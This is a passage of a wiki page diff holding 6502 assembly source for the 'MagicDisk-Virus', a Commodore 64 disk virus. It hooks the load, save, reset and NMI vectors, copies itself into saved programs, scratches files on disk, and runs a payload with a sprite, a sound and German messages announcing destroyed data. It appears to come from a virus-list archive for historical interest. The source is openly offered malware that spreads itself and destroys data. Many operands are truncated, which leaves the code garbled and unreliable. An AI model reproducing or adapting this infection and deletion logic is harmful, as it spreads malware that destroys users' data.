+ | ldy $af | ||
+ | stx $f9 | ||
+ | sty $fa | ||
+ | |||
+ | ldy #00 | ||
+ | ldx #00 | ||
+ | loop8 lda ($fb),y | ||
+ | lab5 sta $0801,x | ||
+ | inx | ||
+ | bne lab4 | ||
+ | inc lab5+2 | ||
+ | lab4 jsr inccount | ||
+ | bcc loop8 | ||
+ | |||
+ | ldy lab5+2 | ||
+ | stx $ae | ||
+ | sty $af | ||
+ | stx $2d | ||
+ | sty $2e | ||
+ | |||
+ | lda #$37 | ||
+ | sta $01 | ||
+ | |||
+ | jsr init | ||
+ | jsr $a659 | ||
+ | jmp $a7ae | ||
+ | |||
+ | ; | ||
+ | ; code hooked into cbm80 nmi vector | ||
+ | |||
+ | restore | ||
+ | jsr $fda3 | ||
+ | jsr $e518 | ||
+ | jsr init2 | ||
+ | jmp ($a002) | ||
+ | |||
+ | ; | ||
+ | |||
+ | save1 jmp save | ||
+ | |||
+ | ; | ||
+ | ; code hooked into cbm80 reset vector | ||
+ | |||
+ | reset stx $d016 | ||
+ | jsr $fda3 | ||
+ | jsr $fd50 | ||
+ | jsr $fd15 | ||
+ | jsr $ff5b | ||
+ | cli | ||
+ | jsr init2 | ||
+ | jmp ($a000) | ||
+ | |||
+ | ; | ||
+ | ; code hooked into load vector | ||
+ | |||
+ | load pha | ||
+ | lda filelo | ||
+ | sta $fb | ||
+ | lda filehi | ||
+ | sta $fc | ||
+ | ldy fileleng | ||
+ | sty lengnam | ||
+ | loop2 lda ($fb),y | ||
+ | sta namebuff+2, | ||
+ | dey | ||
+ | bpl loop2 | ||
+ | pla | ||
+ | |||
+ | sta $93 | ||
+ | lda #$00 | ||
+ | sta $90 | ||
+ | lda $ba | ||
+ | bne xf4b2 | ||
+ | xf4af jmp $f713 | ||
+ | xf4b2 cmp #$03 | ||
+ | beq xf4af | ||
+ | bcc xf533 | ||
+ | |||
+ | ldy $b7 | ||
+ | bne xf4bf | ||
+ | jmp $f710 | ||
+ | xf4bf ldx $b9 | ||
+ | jsr $f5af | ||
+ | lda #$60 | ||
+ | sta $b9 | ||
+ | jsr $f3d5 | ||
+ | lda $ba | ||
+ | jsr $ed09 | ||
+ | lda $b9 | ||
+ | jsr $edc7 | ||
+ | jsr $ee13 | ||
+ | sta $ae | ||
+ | |||
+ | cmp #01 | ||
+ | bne cbmload1 | ||
+ | |||
+ | lda $90 | ||
+ | lsr | ||
+ | lsr | ||
+ | bcs loaderror | ||
+ | jsr $ee13 | ||
+ | sta $af | ||
+ | |||
+ | cmp #08 | ||
+ | bne cbmload2 | ||
+ | jsr $f4e5 | ||
+ | bcc inftest | ||
+ | rts | ||
+ | ; | ||
+ | loaderror jmp $f704 | ||
+ | xf533 jmp $f533 | ||
+ | cbmload1 | ||
+ | cbmload2 | ||
+ | ; | ||
+ | inftest | ||
+ | loop7 lda $0801,y | ||
+ | cmp data,y | ||
+ | bne scratch | ||
+ | dey | ||
+ | bpl loop7 | ||
+ | jmp ($a002) | ||
+ | |||
+ | scratch | ||
+ | ldx #08 | ||
+ | ldy #15 | ||
+ | jsr setpar | ||
+ | lda lengnam | ||
+ | clc | ||
+ | adc #02 | ||
+ | ldx #< | ||
+ | ldy #> | ||
+ | jsr setnam | ||
+ | jsr open | ||
+ | lda #01 | ||
+ | jsr close | ||
+ | |||
+ | ldy lengnam | ||
+ | lda namebuff+1, | ||
+ | cmp #" | ||
+ | bne cont | ||
+ | dey | ||
+ | |||
+ | cont tya | ||
+ | ldx #< | ||
+ | ldy #> | ||
+ | jsr setnam | ||
+ | ldx #08 | ||
+ | jsr setpar | ||
+ | ldx #01 | ||
+ | ldy #08 | ||
+ | stx $c1 | ||
+ | sty $c2 | ||
+ | ldx #00 | ||
+ | jsr save | ||
+ | jmp saveerror | ||
+ | |||
+ | ; | ||
+ | ; hook i/o vectors and install | ||
+ | ; cbm80 hook | ||
+ | |||
+ | init lda #01 | ||
+ | sta copy | ||
+ | init2 ldy #03 | ||
+ | loop3 lda tab,y | ||
+ | sta $0330,y | ||
+ | dey | ||
+ | bpl loop3 | ||
+ | |||
+ | ldy #08 | ||
+ | loop4 lda cbm,y | ||
+ | sta $8000,y | ||
+ | dey | ||
+ | bpl loop4 | ||
+ | |||
+ | rts | ||
+ | |||
+ | ; | ||
+ | xf659 jmp $f659 | ||
+ | copy .by 0 | ||
+ | ; | ||
+ | saveerror lda status | ||
+ | bne shit | ||
+ | rts | ||
+ | shit lda #< | ||
+ | ldy #> | ||
+ | jmp strout | ||
+ | |||
+ | ; | ||
+ | ; code hooked into save vector | ||
+ | |||
+ | save lda $ba | ||
+ | bne xf5f4 | ||
+ | xf5f1 jmp $f713 | ||
+ | xf5f4 cmp #$03 | ||
+ | beq xf5f1 | ||
+ | bcc xf659 | ||
+ | |||
+ | lda #$61 | ||
+ | sta $b9 | ||
+ | ldy $b7 | ||
+ | bne xf605 | ||
+ | jmp $f710 | ||
+ | xf605 cpx #00 | ||
+ | beq nosaving | ||
+ | jsr $f68f | ||
+ | nosaving | ||
+ | lda $ba | ||
+ | jsr $ed0c | ||
+ | lda $b9 | ||
+ | jsr $edb9 | ||
+ | ldy #$00 | ||
+ | jsr $fb8e | ||
+ | lda $ac | ||
+ | cmp #01 | ||
+ | beq lab1 | ||
+ | ldy #01 | ||
+ | lab1 jsr $eddd | ||
+ | lda $ad | ||
+ | cmp #08 | ||
+ | beq lab2 | ||
+ | ldy #01 | ||
+ | lab2 jsr $eddd | ||
+ | |||
+ | cpy #01 | ||
+ | bne virusok | ||
+ | ldy #00 | ||
+ | jmp savecont | ||
+ | |||
+ | virusok | ||
+ | sta $fb | ||
+ | lda #>(data) | ||
+ | sta $fc | ||
+ | lda #<(ende) | ||
+ | sta $f9 | ||
+ | lda #>(ende) | ||
+ | sta $fa | ||
+ | |||
+ | ldy #00 | ||
+ | loop lda ($fb),y | ||
+ | jsr $eddd | ||
+ | jsr inccount | ||
+ | bcc loop | ||
+ | |||
+ | jsr savecont | ||
+ | jsr saveerror | ||
+ | |||
+ | asl copy | ||
+ | bcs gag | ||
+ | rts | ||
+ | |||
+ | ; | ||
+ | ; payload code | ||
+ | |||
+ | gag ldx #00 | ||
+ | stx crsrflag | ||
+ | stx $d020 | ||
+ | stx $d021 | ||
+ | stx countlo | ||
+ | inx | ||
+ | stx 646 | ||
+ | stx vic+21 | ||
+ | ; {$a0} | ||
+ | lda #12 | ||
+ | sta vic+39 | ||
+ | lda #24 | ||
+ | sta vic | ||
+ | lda #27 | ||
+ | sta vic+1 | ||
+ | lda #13 | ||
+ | sta 2040 | ||
+ | |||
+ | ldy #12 | ||
+ | lda #00 | ||
+ | sloop4 | ||
+ | dey | ||
+ | bpl sloop4 | ||
+ | |||
+ | ldy #50 | ||
+ | sloop3 | ||
+ | sta 845,y | ||
+ | dey | ||
+ | bpl sloop3 | ||
+ | |||
+ | lda #13 | ||
+ | jsr bsout | ||
+ | lda #32 | ||
+ | jsr bsout | ||
+ | ; | ||
+ | calc lda crsrline | ||
+ | clc | ||
+ | adc #03 | ||
+ | lsr | ||
+ | ror countlo | ||
+ | clc | ||
+ | adc #$60 | ||
+ | sta counthi | ||
+ | ; | ||
+ | sound lda #15 | ||
+ | sta sid+24 | ||
+ | sta counter | ||
+ | ldx #01 | ||
+ | ldy #$78 | ||
+ | stx sid | ||
+ | sty sid+1 | ||
+ | stx frqlo | ||
+ | sty frqhi | ||
+ | ldx #$e0 | ||
+ | ldy #$f0 | ||
+ | stx sid+5 | ||
+ | sty sid+6 | ||
+ | lda #33 | ||
+ | sta sid+4 | ||
+ | |||
+ | sloop2 | ||
+ | jsr wait | ||
+ | dec frqlo | ||
+ | bne sl1 | ||
+ | dec frqhi | ||
+ | |||
+ | sl1 lda counthi | ||
+ | cmp frqhi | ||
+ | bcc sl5 | ||
+ | bne sl6 | ||
+ | lda countlo | ||
+ | cmp frqlo | ||
+ | bcc sl5 | ||
+ | sl6 dec counter | ||
+ | bpl sl5 | ||
+ | inc vic+1 | ||
+ | lda #15 | ||
+ | sta counter | ||
+ | |||
+ | sl5 lda frqhi | ||
+ | cmp #$60 | ||
+ | beq bye | ||
+ | sta sid+1 | ||
+ | lda frqlo | ||
+ | sta sid | ||
+ | jmp sloop2 | ||
+ | |||
+ | bye sty sid+4 | ||
+ | sty sid+24 | ||
+ | lda #" | ||
+ | jsr bsout | ||
+ | sta crsrflag | ||
+ | ldy #$ff | ||
+ | jsr wait | ||
+ | sty vic+21 | ||
+ | lda #< | ||
+ | ldy #> | ||
+ | jsr strout | ||
+ | jmp init | ||
+ | ; | ||
+ | wait ldx #00 | ||
+ | sloop1 | ||
+ | bne sloop1 | ||
+ | dey | ||
+ | bne sloop1 | ||
+ | rts | ||
+ | ; | ||
+ | inccount | ||
+ | bne lab3 | ||
+ | inc $fc | ||
+ | lab3 lda $fb | ||
+ | cmp $f9 | ||
+ | bne weiter | ||
+ | lda $fc | ||
+ | cmp $fa | ||
+ | bne weiter | ||
+ | sec | ||
+ | rts | ||
+ | |||
+ | weiter | ||
+ | rts | ||
+ | ; | ||
+ | sprdat | ||
+ | .by 31, | ||
+ | .by 22, | ||
+ | |||
+ | ; | ||
+ | ; data for cbm80 hook | ||
+ | cbm .wo reset, | ||
+ | .tx " | ||
+ | |||
+ | ; vectors for i/o hooks | ||
+ | tab .wo load,save | ||
+ | |||
+ | errortext .by 13 | ||
+ | .tx "Der {rvon}MagicDisk-Virus{rvof} ist in diesem" | ||
+ | .by13 | ||
+ | .tx "C64 !!! Soeben wurden Daten zerstoert !" | ||
+ | .by13 | ||
+ | .tx "Bitte Programm auf einer anderen Disk" | ||
+ | .by13 | ||
+ | .tx " | ||
+ | .by 13,14,0 | ||
+ | |||
+ | ; | ||
+ | warning | ||
+ | .tx "Hallo du ! Dein 64er lebt ! Ein paar von" | ||
+ | .by13 | ||
+ | .tx " | ||
+ | .by13 | ||
+ | .tx" | ||
+ | .by 13,14,0 | ||
+ | |||
+ | ; | ||
+ | namebuff | ||
+ | ende .by 0 | ||
+ | </ | ||
+ | |||
base/viruslist.txt · Last modified: 2015-04-17 04:34 by 127.0.0.1